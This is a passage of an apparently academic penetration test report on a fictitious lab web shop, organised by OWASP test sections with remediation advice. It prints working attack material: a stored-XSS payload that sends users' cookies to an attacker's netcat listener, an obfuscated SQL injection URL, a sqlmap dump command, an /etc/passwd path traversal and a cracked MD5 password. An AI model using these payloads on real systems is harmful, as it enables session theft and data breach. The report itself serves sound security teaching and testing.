Not applicable due to its fictitious nature.

2.4.6 Testing for Browser Cache Weaknesses

Out with testing guideline .

2.4.7 Testing for Weak Password Policy

A weak password policy makes it easy for attackers to run a dictionary attack against the login credentials. The website requires a minimum password of seven to fourteen characters

Figure 42 Too short password

Figure 42 shows that the password is required to be between 7 and 14 characters long.

```

<input type="text" value="Dundee" name="city" />
<input type="text" value="012345678" name="contact_number" />
<input type="text" value="hacklab@hacklab.com" name="email" />
<input type="password" value="7052cad6b415f4272c1986aa9a50a7c3" name="password" onchnage="validation()" readonly="" />

```

Figure 43 Password Hashing

Figure 43 shows the web application uses a hash algorithm to secure the passwords.

2.4.8 Testing for Weak Security Question Answer

No Security Questions present.

2.4.9 Testing for Weak Password Change or Reset Functionalities

Password reset is not available unless logged into the application.

2.4.10 Testing for Weaker Authentication in Alternative Channel

Not applicable only one webserver tested.

2.5 AUTHORISATION TESTING

2.5.1 Testing Directory Traversal File Include

The web application is hosted within the web server with various folders and sub-folders making up the complete website. The web application was tested to see if it was correctly configured, and if path traversal was possible. From the OWASP ZAP report attached, a path traversal vulnerability was identified. The full report is attached in this upload:

High	Path Traversal
	<p>The Path Traversal attack technique allows an attacker access to files, directories, and commands that potentially reside outside the web document root directory. An attacker may manipulate a URL in such a way that the web site will execute or reveal the contents of arbitrary files anywhere on the web server. Any device that exposes an HTTP-based interface is potentially vulnerable to Path Traversal.</p> <p>Most web sites restrict user access to a specific portion of the file-system, typically called the "web document root" or "CGI root" directory. These directories contain the files intended</p>
	<p>for user access and the executable necessary to drive web application functionality. To access files or execute commands anywhere on the file-system, Path Traversal attacks will utilize the ability of special-characters sequences.</p> <p>The most basic Path Traversal attack uses the ".." special-character sequence to alter the resource location requested in the URL. Although most popular web servers will prevent this technique from escaping the web document root, alternate encodings of the ".." sequence may help bypass the security filters. These method variations include valid and invalid Unicode-encoding (".%u2216" or "%c0%af") of the forward slash character, backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%2e%\2f", and double URL encoding ("..%255c") of the backslash character.</p> <p>Even if the web server properly restricts Path Traversal attempts in the URL path, a web application itself may still be vulnerable due to improper handling of user-supplied input. This is a common problem of web applications that use template mechanisms or load static text from files. In variations of the attack, the original URL parameter value is substituted with the file name of one of the web application's dynamic scripts. Consequently, the results can reveal source code because the file is interpreted as text instead of an executable script. These techniques often employ additional special characters such as the dot (".") to reveal the listing of the current working directory, or "%00" NULL characters in order to bypass rudimentary file extension checks.</p>
	URL http://192.168.1.10/affix.php?type=%2Fetc%2Fpasswd

Figure 44 OWASP ZAP report extract

Figure 44 shows that the OWASP ZAP scan extract identifying evidence of a directory traversal vulnerability. An attempt was made to recreate this.

Figure 45 '/etc/passwd' file

Figure 45 shows that it is possible to traverse directories that exist on the web server.

2.5.2 Testing for Bypassing Authorisation Schema

This test was completed to determine whether a user without the correct permissions can gain access to pages that only the administrator should have access to. The admin pages were then checked.

The screenshot shows a web browser window with the URL <http://192.168.1.10/admin/ADMIN/>. The title bar includes links for Kali Linux, Kali Tools, Kali Docs, Broken Web Apps, and Web Hacking. The main content is titled "Index of /admin/ADMIN". It displays a table with columns: Name, Last modified, Size, and Description. The table lists several entries:

Name	Last modified	Size	Description
Parent Directory		-	
ADS/	2017-07-13 14:57	-	
AS/	2017-07-13 15:00	-	
OOS/	2017-07-13 15:01	-	
SERVER/	2017-07-08 19:53	-	

Figure 46 Admin directory

Figure 46 again shows it is possible to access the admin directory by visiting <http://192.168.1.10/admin/ADMIN>

All proceeding pages are available to access without any credentials.

The screenshot shows a web browser window with the URL <http://192.168.1.10/admin/ADMIN/ADS/index.php>. The title bar includes links for Kali Linux, Kali Tools, Kali Docs, Broken Web Apps, and Web Hacking. The top navigation bar has links for CRM, ASSET, ONLINE ORDERING, and Log Out. The main content area is titled "Customer Management". It features a video player showing a man in a white jacket. Below the video, there is text: "We will never give you up", "Date: July 1, 2017 - 08:07 AM", "We will certainly not give you up...", and a "Read More" button. To the right, there is a sidebar with a "Home" link and a list of other links: "Customers", "Customer List", "Announcement", and "Messages" (with a count of 1).

Figure 47 index.php

Figure 47 shows that it was possible to access the customer management system.

The screenshot shows a web application interface for managing customer data. At the top, there's a navigation bar with links for Kali Linux, Kali Tools, Kali Docs, Broken Web Apps, and Web Hacking. Below that is a header with the logo 'Hacklab Security', menu items CRM, ASSET, ONLINE ORDERING, and Log Out, and a search bar. A green 'BACK' button is on the left, and a red 'Delete' button is on the right. The main content is a table with the following data:

Customer ID	First Name	Middle Name	Last Name	Gender	Date Created	Action
1	Rick	God	Astley	Male	August 5, 2015 11:34:pm	<button>View</button> <button>Archive</button>
2	Ian	Robert	Ferguson	Male	August 5, 2015 11:35:pm	<button>View</button> <button>Archive</button>
3	Colin	L	McLean	Male	July 13, 2017 10:39:pm	<button>View</button> <button>Archive</button>
4	Rick	God	Astley	Male	July 14, 2017 3:23:am	<button>View</button> <button>Archive</button>
5	1	1	1	Male	December 30, 2022 4:33:am	<button>View</button> <button>Archive</button>

© Hacklab Security 2022

Figure 48 Customers.php

Figure 48 shows that it was possible to view customers' data; however, when attempting to delete Customer ID 5 the admin login page appears.

Figure 49 admin login page

Figure 49 shows that the admin login page is displayed when user credentials are attempted to be deleted.

<input type="checkbox"/> Customer ID	First Name	Middle Name	Last Name	Gender	Date Created	Action
<input type="checkbox"/> 2	lan	Robert	Ferguson	Male	August 5, 2015 11:35:pm	View Archive
<input type="checkbox"/> 3	Colin	L	McLean	Male	July 13, 2017 10:39:pm	View Archive
<input type="checkbox"/> 4	Rick	God	Astley	Male	July 14, 2017 3:23:am	View Archive

Figure 50 Customer accounts after deletion

Figure 50 shows that upon refreshing the page it was observed that Customer ID 5 was deleted despite the admin credentials not being entered.

2.5.3 Testing for Privilege Escalation

Privilege escalation was not possible on the web server.

2.5.4 Testing for Insecure Direct Object References

Insecure Direct Object References (IDOR) are when the web server gives a direct access via an URL. This could allow an attacker to access restricted information.

Figure 51 'product_details.php'

Figure 51 shows that it was possible to append further URL data meaning an IDOR vulnerability is present. However, no other variables than 'id' proved successful.

2.5.5 Testing for OAuth Weaknesses

No OAuth present, not applicable.

2.5.6 Testing for OAuth Authorisation Server Weaknesses

No OAuth present, not applicable.

2.5.7 Testing for OAuth Client Weaknesses

No OAuth present, not applicable.

2.6 SESSION MANAGEMENT TESTING

2.6.1 Testing for Session Management Schema

Section 2.4.1 identified a Secret Cookie and Session ID sent to each end user of the web server. These are visible and can be cracked using Cyber Chef, as shown:

Figure 52 Cyber Chef

Figure 52 shows the cookie to be URL-encoded, Base 64, and rotated 13 (ROT 13). This identified the cookie to be in three sections:

Email	12@mail.com
Password Hash	920f7412b5da7be0cf42b8c93759
Time code	1672364379

2.6.2 Testing for Cookies Attributes

Section 2.6.1 discovered three attributes present in the cookie. Due to the insecure method of transport, the cookie can be viewed and cracked as shown:

- Password hash

Using 'hashid', the hash type was identified as MD5.

Figure 53 Cyber chef md5

Figure 53 shows Cyber Chef identified that the password hash is MD5.

The screenshot shows the Hashes.com website. At the top, it has a navigation bar with 'Home', 'FAQ', 'Purchase Credits', and a search bar. Below the navigation, a blue banner says '⚠ Proceeded! 1 hashes were checked: 1 found 0 not found'. Underneath, a green box displays '✓ Found:' followed by the hash 'fcea920f7412b5da7be0cf42b8c93759:1234567'. At the bottom, there is a blue button labeled 'SEARCH AGAIN'.

Figure 54 Online Hash cracker

Figure 54 shows by using an online hash cracker, the identified password is '1234567', which is correct.

- Time code

The final part of the cookie is a time code using 'CyberChef' to identify the login time.

Figure 55 Unix timestamp

Figure 55 shows the time to be Friday the 30th of December 2022, which is correct.

2.6.3 Testing for Session Fixation

Session Fixation occurs because of the insecure practice of having the same cookie before and after login. This allows an attacker to impersonate another user with the same cookie. The cookie was attempted to be copied from Firefox and then inserted into another browser session.

Name	Value
SecretCookie	InVucHh5bm9AdW5weHluby5wYnogljo3MDUycG5xNm80MTVzNDI3MnAxOTg2bm45bjUwbdwMzoxNjY0MTI0MDcy
PHPSESSID	hrcj8bpmb98mved4eucqf0oo90

Figure 56 Cookie values

Figure 56 shows the secret cookie and PHP session values of a logged in user. These values were then copied to the Kali Linux Machine.

Name	Value	Se
SecretCookie	InVucHh5bm9AdW5weHluby5wYnogljo3MDUycG5xNm80MTVzNDI3MnAxOTg2bm45bjUwbdwMzoxNjY0MTI0MDcy	192.168.1.10
PHPSESSID	hrcj8bpmb98mved4eucqf0oo90	192.168.1.10

Figure 99 Cookie Manger

Figure 99 shows the Kali Linux Machines changed cookie values, the page was then reloaded.

Figure 57 altered cookie page

Figure 58 shows with the altered cookie values the application stayed logged out.

2.6.4 Testing for Exposed Session Variables

No SSL/TLS certificate present, not applicable

2.6.5 Testing for Cross Site Request Forgery

Testing for Cross Site Request Forgery ensures that an attacker through social engineering cannot manipulate user inputs and or the web application.

As no CSRF header is included in the application it should be considered possible to manipulate data that the user sends to the application such as a change password request.

2.6.6 Testing for Logout Functionality

The strength of the logout functionality for the admin and user pages were tested. In Section 2.5.2 it was found that access to the admin page was possible without logging in. The user logout functionality works as it is not possible to return to a user page post logout. However, it was possible to find the order receipts through the official receipt page once logged out.

Figure 58 User order post logout

Figure 59 shows that it was possible to see users' orders without logging in as an admin or user account.

2.6.7 Testing Session Timeout

Not possible due to the fictitious nature of the Web Server

2.6.8 Testing for Session Puzzling

Not possible due to the fictitious nature of the Web Server.

2.6.9 Testing for Session Hijacking

Not possible due to the fictitious nature of the Web Server.

2.6.10 Testing JSON Web Tokens

None present, not applicable.

2.7 INPUT VALIDATION TESTING

2.7.1 Testing for Reflected Cross Site Scripting

The OWASP Zap report identifies that a Reflected Cross Site Scripting attack was possible against the target. To verify that it was not a false positive, an attempt to attack the web server was carried out.

Figure 59 Reflected XSS

Figure 60 shows the "official_receipt1.php" page where a Reflected Cross Site Scripting attack was possible. By altering the URL to include '"<script>alert(xyz)</script>"', displayed a successful output.

2.7.2 Testing for Stored Cross Site Scripting

The web application was then discovered to have an announcements section where a user can upload a comment through a comment box. This could be used to upload a stored Cross Site Script (XSS). OWASP ZAP also Identified this.

Figure 60 Stored XSS attack

Figure 61 shows the output of the uploaded script “`<script>alert(1);</script>`”. Every time anyone loads the page, an alert with ‘1’ is displayed as above.

Next an attack was demonstrated where a user's cookie was stolen.

```
(kali㉿kali)-[~]
└─$ nc -nvlp 80
listening on [any] 80 ...
```

A terminal window on a Kali Linux machine. The prompt shows the user is on the kali account. The command `nc -nvlp 80` is run, which stands for netcat (listening) on port 80.

Figure 61 netcat listener

Figure 62 shows that a ‘netcat’ listener was set up on port 80 on the Kali Linux machine.

The following malicious code was then uploaded to the comment box on the web application

```
'<script>new Image().src="http://192.168.1.254/b.php?"+(document.cookie)</script>;'
```

This allows a malicious attacker to steal cookies from any users who loads the page

```
(kali㉿kali)-[~]
$ nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.1.253] from (UNKNOWN) [192.168.1.253] 43678
GET /b.php?SecretCookie=IjQiOnNwcm45MjBzNzQzMm81cW43b3IwcHM0Mm84CDkzNzU50jE2NzE3MTM4MTM%3D;%20PHPSESSID=nqqedslrc5f7jugrism9pi8jj4 HTTP/1.1
Host: 192.168.1.253
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.10/
Connection: keep-alive
```

Figure 62 Cookie on netcat

Figure 63 shows a stolen cookie when the page is loaded.

2.7.3 Testing for HTTP Verb Tampering

This was completed in Section 2.2.6.

2.7.4 Testing for HTTP Parameter Pollution

This was completed in Section 2.5.4.

2.7.5 Testing for SQL Injection

From the OWASP scan, one of the critical issues was the possibility of SQL injection. The web application was initially tested manually for any vulnerability. An URL with a specially crafted query was run against the Web Server:

```
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1'/*!20000%0D%0Aunion*/+/*!20000%0D%0ASelEct*/1,2,db_name(),4--
```

Figure 63 SQL Database name

Figure 64 identifies that it is possible to do an SQL Injection attack against the target. ‘sqlmap’ was ran against the application to enumerate as much information as possible through the following command.

```
sqlmap -u http://192.168.1.10/official_receipt.php?id=4 -a
```

Figure 64 SQLMAP output

Figure 65 shows the ‘sqlmap’ scan discovered various tables, including admin credentials, products, logs, and customer details through SQL injection.

2.7.6 Testing for LDAP Injection

Not applicable due to LDAP does not present on the system.

2.7.7 Testing for XML Injection

xmlDB not present on the system.

2.7.8 Testing for SSI Injection

SSI does not present on the system.

2.7.9 Testing for XPath Injection

XPATH not present on the system.

2.7.10 Testing for IMAP SMTP Injection

Not possible due to fictitious nature.

2.7.11 Testing for Code Injection

Not possible on webserver.

2.7.11.1 *File Inclusion*

File inclusion was covered in Section 2.2.3. It was possible to upload a .png file to the application.

2.7.12 Testing for Command Injection

Command injection was possible through the URL and was covered in section 2.5.1.

2.7.13 Testing for Format String Injection

Format string injection is best done through code review.

2.7.14 Testing for Incubated Vulnerability

This has been covered in section 2.1.2.

2.7.15 Testing for HTTP Splitting Smuggling

Not possible due to fictitious nature of the web application.

2.7.16 Testing for HTTP Incoming Requests

See section 2.4.1 for Wireshark cookie capture.

2.7.17 Testing for Host Header Injection

Outside pen-test parameters.

2.7.18 Testing for Server-side Template Injection

Not possible due to fictitious nature.

2.7.19 Testing for Server-Side Request Forgery

Not possible due to fictitious nature.

2.7.20 Testing for Mass Assignment

Not possible due to fictitious nature .

2.8 TESTING FOR ERROR HANDLING

2.8.1 Testing for Improper Error Handling

See section 2.1.3 for metafile information.

2.8.2 Testing for Stack Traces

Merged into 2.8.1.

2.9 TESTING FOR WEAK CRYPTOGRAPHY

2.9.1 Testing for Weak Transport Layer Security

The web server was scanned to see if any SSL/TLS encryption was present on the system. Using 'ssllscan' with the following command to identify encryption if any was present.

```
ssllscan 192.168.1.10:80
```

```
(kali㉿kali)-[~]
$ ssllscan 192.168.1.10:80
Version: 2.0.15-static
OpenSSL 1.1.1q-dev xx XXX xxxx

Connected to 192.168.1.10

Testing SSL server 192.168.1.10 on port 80 using SNI name 192.168.1.10

  SSL/TLS Protocols:
SSLv2      disabled
SSLv3      disabled
TLSv1.0    disabled
TLSv1.1    disabled
TLSv1.2    disabled
TLSv1.3    disabled

  TLS Fallback SCSV:
Connection failed - unable to determine TLS Fallback SCSV support

  TLS renegotiation:
Session renegotiation not supported

  TLS Compression:
Compression disabled

  Heartbleed:

  Supported Server Cipher(s):
    Unable to parse certificate
    Unable to parse certificate
    Unable to parse certificate
    Unable to parse certificate
Certificate information cannot be retrieved.
```

Figure 65 ssllscan output

Figure 66 shows from the scan that no SSL/TLS certificate was present meaning the data was transported without encryption.

2.9.2 Testing for Padding Oracle

No encryption present, not applicable.

2.9.3 Testing for Sensitive Information Sent via Unencrypted Channels

In section 2.1.4 it was proved that it was possible to view unencrypted data transmitted between the client and the server via Wireshark.

2.10 BUSINESS LOGIC TESTING

2.10.1 Test Business Logic Data Validation

Not applicable, this would be best done as a tabletop exercise.

2.10.2 Test Ability to Forge Requests

As seen in Section 2.7.1, 2.7.2, and 2.7.5 it was possible to manipulate/forge requests to attack the application. This could allow access to the tables containing customer information such as customer

addresses and emails. Also due to the lack of SSL/TLS encryption on the web application it is possible to conduct an ‘man in the middle’ attack against customers of the site.

2.10.3 Test Integrity Checks

Not applicable, this would be best done as a tabletop exercise involving all parties.

2.10.4 Test for Process Timing

Not applicable, this would be best done as a tabletop exercise involving all parties.

2.10.5 Test Number of Times a Function Can Be Used Limits

Not applicable, this would be best done as a tabletop exercise involving all parties.

2.10.6 Testing for the Circumvention of Work Flows

Not applicable, this would be best done as a tabletop exercise involving all parties.

2.10.7 Test Defences Against Application Misuse

There seems to be no content filter on the inbox or the announcements section. This could lead to spam and abuse. There are also no lockout login attempts, as seen in section 2.4.3

2.10.8 Test Upload of Unexpected File Types

The Web Application was tested using several file extensions against the image upload photo function on the update password page. This was carried out as attackers can use malicious extensions to gain access to the underlying OS.

Figure 66 test.php upload

Figure 67 shows that by uploading a file called 'test.php' the website identified this as suspicious suggesting there is some filter present.

Figure 67 Change picture

Figure 68 shows that a valid '.png' file was uploaded this demonstrates that there is a malicious file filter present. The web server only accepts images in the form .png files.

2.10.9 Test Upload of Malicious Files

As shown in Section 2.33 and section 2.10.8 the application prevents non-.png files from being uploaded however, the contents of a .png file could be malicious.

2.10.10 Test Payment Functionality

No payment functionality present not applicable.

2.10.11 Testing for Weak Encryption

The web application used MD5 as its hashing algorithm. This is a weak algorithm that is easily cracked sometimes by google searches, as shown by section 2.6.2.

2.11 OVERALL DISCUSSION

The OWASP Web Application Security Testing framework was chosen due to its thorough testing of all aspects of the website. This framework allows a pen-tester to 'demonstrate the application meets the security requirements of its stakeholders' (OWASP.org, Dec 3, 2020)

From following the OWASP methodology, several vulnerabilities have been identified. This will result in the website needing to be redesigned in order to be made secure. Many vulnerabilities exist throughout the application, meaning multiple pages need remediation. The severe vulnerabilities include SQL Injection, Cross Site Scripting stored and reflected, poor hashing, lack of an SSL/TLS Certificate, out-of-date software, and path traversal.

These vulnerabilities allow an attacker to damage both the backend of the website and the customers experience. This website should not be used in its current format until the issues have been remediated. Alternatively, a new website from a pre-existing framework or a new website from scratch would be a better option.

Some serious vulnerabilities also need resolved but are unlikely to compromise the complete system. These include no CSRF tokens, directory browsing, poor cookie encoding, and poor authentication.

Some low level / informational vulnerabilities that should be fixed include comments and general information leakage, such as software versions.

2.12 COUNTERMEASURES

2.12.1 SQL Injection

An SQL Injection attack is an attack that allows an attacker to query the backend database in an unintended manner, usually through an input box or URL. This enables the attacker to enumerate, alter or delete information in the database entirely. It can also enable a shell to the underlying Operating System.

The vulnerability is identified in Section 2.7.5 Testing for SQL Injection and exists throughout the application. To counter this, prepared statements should be used

Countermeasure

Prepared statements should be implemented to sanitise the input protecting the query by building the query statements as strings. This can be further sanitised through filter input functions in PHP. (geeksforgeeks.org, 23 July 2021).

Further reading on this subject can be found here:

<https://hackernoon.com/top-5-ways-to-prevent-sql-injections-ro2e35ba>

2.12.2 Cross Site Scripting (Reflected)

Cross Site Scripting (Reflected) is the process of executing a script mirrored to a victim's browser through user interaction, such as clicking a malicious link. This can allow an attacker to steal a session cookie or web token from the victim's browser.

This vulnerability is identified in section 2.7.1 - Testing for Reflected Cross Site Scripting. This vulnerability exists in input boxes, and URLs throughout the web application.

Countermeasure

Input validation is the best way to prevent a Cross Site Scripting (Reflected) attack. Functions in PHP such as htmlspecialchars() convert characters such as '<' to '<' making it difficult to conduct a Cross Site Scripting attack the 'ENT_QUOTES' also encodes quotation marks. (virtuesecurity.com, No Date) Further reading into methods to prevent Cross Site Scripting attacks can be found here:

<https://www.imperva.com/learn/application-security/reflected-xss-attacks/>

2.12.3 Cross Site Scripting (Stored)

Cross Site Scripting (Stored) is the process of uploading a malicious script to a webpage on the web server. Any end user of the system who loads this webpage will execute this code, allowing an attacker to steal user cookies without any real user interaction, apart from loading the page. This exploit is typically uploaded through the web application input boxes.

This vulnerability is identified in section 2.7.2-Testing for stored Cross Site Scripting. This vulnerability exists in the comments section of the announcements page.

Countermeasure

Similar to above, input validation is an excellent way to prevent this type of vulnerability. Another tool which can be used is a Web Application Filter (WAF) which utilises signature-based filtering to look for key markers in comments and URLs.(Imperva.com, No Date). More information can be discovered here:

Azure WAF: <https://learn.microsoft.com/en-us/samples/azure/azure-quickstart-templates/xss-attack-prevention/>

AWS WAF: <https://aws.amazon.com/premiumsupport/knowledge-center/waf-rule-prevent-sqli-xss/>

2.12.4 No HTTPS

Transport Layer Security (TLS/SSL) prevents attackers using a packet sniffer tool to capture and read traffic through encryption. This prevents sensitive information such as bank details being stolen.

This issue is identified in Section 2.9.1 and is present throughout the web application.

Countermeasure

The administrator should install a TLS/SSL certificate from a certificate authority. The connection should also be forced over HTTPS to guarantee authenticity, confidentiality, and data integrity (auth0.com, December 2020).

The HTTPS force connection can be implemented by modifying the '.htaccess' file:

```
RewriteEngine On  
RewriteCond %{env:HTTPS} !on  
RewriteRule ^(.*)$ https://www.example.com/$1 [R,L]  
(20i.com, No Date)
```

More information here about forcing HTTPS:

<https://www.20i.com/us/support/ssl-certificates/force-https>

Information on SSL/TLS Certificates:

<https://aws.amazon.com/what-is/ssl-certificate/>

2.12.5 Path Traversal

A Path Traversal attack aims to access files that the website should not have access to. This attack is carried out by manipulating input boxes or URLs to browse the file system and directories. This potentially can expose password files.

This issue is identified in section 2.5.1 - Testing for Directory Traversal and is found on several pages throughout the web application.

Countermeasure

A method to prevent this would be to sanitise filename parameters from the URL and input boxes. This could include blacklisting items such as '../' or limiting file extensions to .html. An example for '.html' is shown below.

```
<?php  
include($_GET['file'] . '.html');  
?  
(securecoding.com, December 2020)
```

Another method would be to implement the 'principle of least privilege'. This provides minimum permission to users and processes on the Web Application.

2.12.6 Poor Hashing

Poor hashing is present in the application, this made it simple for 'sqlmap' to crack the hashes for the user and admin accounts. It was also possible to crack the password hash using an online tool.

As identified in Sections 2.6.2 and 2.3.1, the lack of secure hashing affected all passwords on the web server.

Countermeasure

To mitigate this, the system should use a modern hashing algorithm such as SHA-256, also making use of a password salt. This makes it difficult for a rainbow table type attack to be successful. (Okta.com, May 2021)

2.12.7 CSRF Tokens

The lack of a CSRF token makes it possible for an attacker through social engineering to cause damage to users by changing their passwords or causing damage to the web application.

As mentioned in section 2.6.5 no CSRF tokens are present on the entire web application.

Countermeasure

To mitigate this, the web application should make use of an CSRF protection headers to ensure that the web application is being used correctly. Further reading can be found here.

https://owasp.org/www-community/Anti_CSRF_Tokens_ASP-NET

2.12.8 Directory Browsing

Directory Browsing was possible on the system where an attacker could access a folder on the web server. This exposes the web application files and potentially sensitive information.

This was identified in sections 2.1.7, 2.2.1 and 2.2.5 and is present throughout the web server.

Countermeasure

To mitigate this, disable directory listing for the web server. This can be done through the console as shown:

```
sudo a2dismod --force autoindex  
systemctl restart apache2  
(fedingo.com, No Date)
```

2.12.9 Cookie Attributes

Poor Cookie attributes allowed the attacker to see the cookie and dissect it through ‘Cyber Chef’ identifying the user’s email, password, and time stamp. This allows an attacker to extract users’ information from the cookie

This issue was identified in section 2.6.2 and is present throughout the application.

Countermeasure

To mitigate this, a secure cookie policy should be implemented, making use of the security values that are included in the ‘setcookie’ function in PHP shown below:

```
setcookie(name, value, expire, path, domain, secure, httponly);  
(w3schools, No Date)
```

Further reading:

<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie>

https://www.w3schools.com/php/php_cookies.asp

2.12.10 Out of Date Software

Serval pieces of software on the system are out of date, making it easy for attackers to exploit the system through documented and freely available exploitation scripts. Such software includes the Apache Version, MySQL Version and PHP version.

This was identified in section 2.1 - Information Gathering, this issue affects the whole web application.

Countermeasure

Update to the latest versions of the software

Further reading can be discovered here:

<https://www.ncsc.gov.uk/collection/top-tips-for-staying-secure-online/install-the-latest-software-and-app-updates>

2.12.11 Poor Authentication

Poor authentication allows an attacker to easily brute force a login system. This makes it easy for an attacker to gain access to user or admin accounts by using a brute force dictionary attack on the username and password.

This issue was identified in section 2.4 and is an issue on both login pages

Countermeasure

One method to prevent a brute force attack is a rate limiter. This prevents several tries per second to an appropriate delay of X seconds. This significantly increases the time an attack would take.

Another method is a CAPTCHA this can prevent an attacker from accessing the site multiple times by verifying that the user is human through a challenge.

One final method is to implement two-step verification this prevents an attacker from gaining access to the site without another device or service with a one-time passcode

Further reading:

<https://www.ncsc.gov.uk/collection/device-security-guidance/infrastructure/enterprise-authentication-policy>

2.12.12 Information Disclosure

Several pieces of information were found on the web application, although this can be an aid to help future developers understand coding, some comments on the website give away personal information.

This can be seen in section 2.1.5 and affects the whole website

Countermeasure

To counter this, comments that could assist an attacker should be removed from the webpage. A design specification for the web application should be stored securely. This document should detail page structure, validation checks, software versions and connectivity to the database.

2.13 FUTURE WORK

It is recommended that another pen-test is scheduled at a future date once the changes have been made. This allows for further exploits to be tried against the system. In future pen-tests it is recommended that the pen-tester also tests the underlying Operating System. Phishing and social engineering attacks against the web application should also be undertaken. The organisation should implement Cyber Security training in the business in order to keep the business safe moving forward.

Cross Site Scripting (Persistent)

	<p>Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within WinAmp, an RSS reader, or an email client. The code itself is usually written in HTML /JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.</p> <p>When an attacker gets a user's browser to execute his/her code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read, modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting. Cross-site Scripting attacks essentially compromise the trust relationship between a user and the web site. Applications utilizing browser object instances which load content from the file system may execute code under the local machine zone allowing for system compromise.</p>
Description	<p>There are three types of Cross-site Scripting attacks: non-persistent, persistent and DOM-based.</p> <p>Non-persistent attacks and DOM-based attacks require a user to either visit a specially crafted link laced with malicious code, or visit a malicious web page containing a web form, which when posted to the vulnerable site, will mount the attack. Using a malicious form will oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In such a case, the form can be submitted automatically, without the victim's knowledge (e.g. by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, the XSS payload will get echoed back and will get interpreted by the user's browser and execute. Another technique to send almost arbitrary requests (GET and POST) is by using an embedded client, such as Adobe Flash.</p> <p>Persistent attacks occur when the malicious code is submitted to a web site where it's stored for a period of time. Examples of an attacker's favorite targets often include message board posts, web mail messages, and web chat software. The unsuspecting user is not required to interact with any additional site/link (e.g. an attacker site or a malicious link sent via email), just simply view the web page containing the code.</p>

Instances	14
	<p>Phase: Architecture and Design</p> <p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p>

	<p>Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.</p> <p>Phases: Implementation; Architecture and Design</p> <p>Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.</p> <p>For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.</p> <p>Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and escaping that are needed.</p> <p>Phase: Architecture and Design</p> <p>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</p> <p>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</p> <p>Phase: Implementation</p> <p>For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.</p> <p>To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.</p> <p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</p> <p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."</p> <p>Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.</p>

	<p>Phase: Architecture and Design</p> <p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</p> <p>Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.</p> <p>Phases: Implementation; Architecture and Design</p> <p>Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.</p>

	<p>For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.</p> <p>Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and escaping that are needed.</p> <p>Phase: Architecture and Design</p> <p>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</p> <p>Solution</p> <p>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</p> <p>Phase: Implementation</p> <p>For every web page that is generated, use and specify a character encoding such as ISO-8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a different encoding by guessing which encoding is actually being used by the web page. This can cause the web browser to treat certain sequences as special, opening up the client to subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.</p> <p>To help 